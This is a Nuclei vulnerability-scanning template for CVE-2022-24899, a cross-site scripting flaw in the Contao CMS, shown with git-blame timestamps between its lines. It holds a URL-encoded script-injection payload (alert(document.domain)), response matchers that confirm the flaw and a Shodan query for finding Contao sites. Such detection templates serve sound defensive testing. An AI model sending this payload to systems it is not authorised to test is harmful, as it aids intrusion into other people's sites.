2022-06-18 18:50:43 +00:00
|
|
|
id: CVE-2022-24899
|
|
|
|
|
|
|
|
info:
|
2022-09-16 19:50:10 +00:00
|
|
|
name: Contao <4.13.3 - Cross-Site Scripting
|
2022-06-18 18:50:43 +00:00
|
|
|
author: ritikchaddha
|
2022-09-16 20:03:07 +00:00
|
|
|
severity: medium
|
2022-06-18 18:50:43 +00:00
|
|
|
description: |
|
2022-09-16 19:50:10 +00:00
|
|
|
Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: As a workaround, users may disable canonical tags in the root page settings.
|
2022-06-18 18:50:43 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
|
|
|
|
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-24899
|
2023-04-12 10:55:48 +00:00
|
|
|
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
|
2022-06-22 06:52:51 +00:00
|
|
|
classification:
|
2022-09-16 20:03:07 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-09-16 19:50:10 +00:00
|
|
|
cve-id: CVE-2022-24899
|
2022-09-16 20:03:07 +00:00
|
|
|
cwe-id: CWE-79
|
2023-10-16 10:55:14 +00:00
|
|
|
epss-score: 0.00402
|
2023-11-10 17:07:52 +00:00
|
|
|
epss-percentile: 0.70698
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
|
2022-06-18 18:50:43 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: contao
|
|
|
|
product: contao
|
2023-09-06 11:59:08 +00:00
|
|
|
shodan-query: title:"Contao"
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: cve,cve2022,contao,xss,huntr
|
2022-06-18 18:50:43 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-06-18 18:50:43 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2022-06-22 06:34:17 +00:00
|
|
|
- "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
2022-06-18 18:50:43 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-06-22 06:34:17 +00:00
|
|
|
- '"></script><script>alert(document.domain)</script>'
|
2022-06-22 06:31:46 +00:00
|
|
|
- '"Not authenticated"'
|
|
|
|
condition: and
|
2022-06-18 18:50:43 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
2022-06-22 06:31:46 +00:00
|
|
|
- text/html
|
2023-11-10 17:07:52 +00:00
|
|
|
|
|
|
|
# digest: 490a00463044022020035b5c73f2ebe728a232eba924c34dca5fd58870e451b92d4520df84900426022014fc6f862264b5f48e820142c867320e2b06da27b9d5191d7cdc7c621decf2f7:922c64590222798bb761d5b6d8e72950
|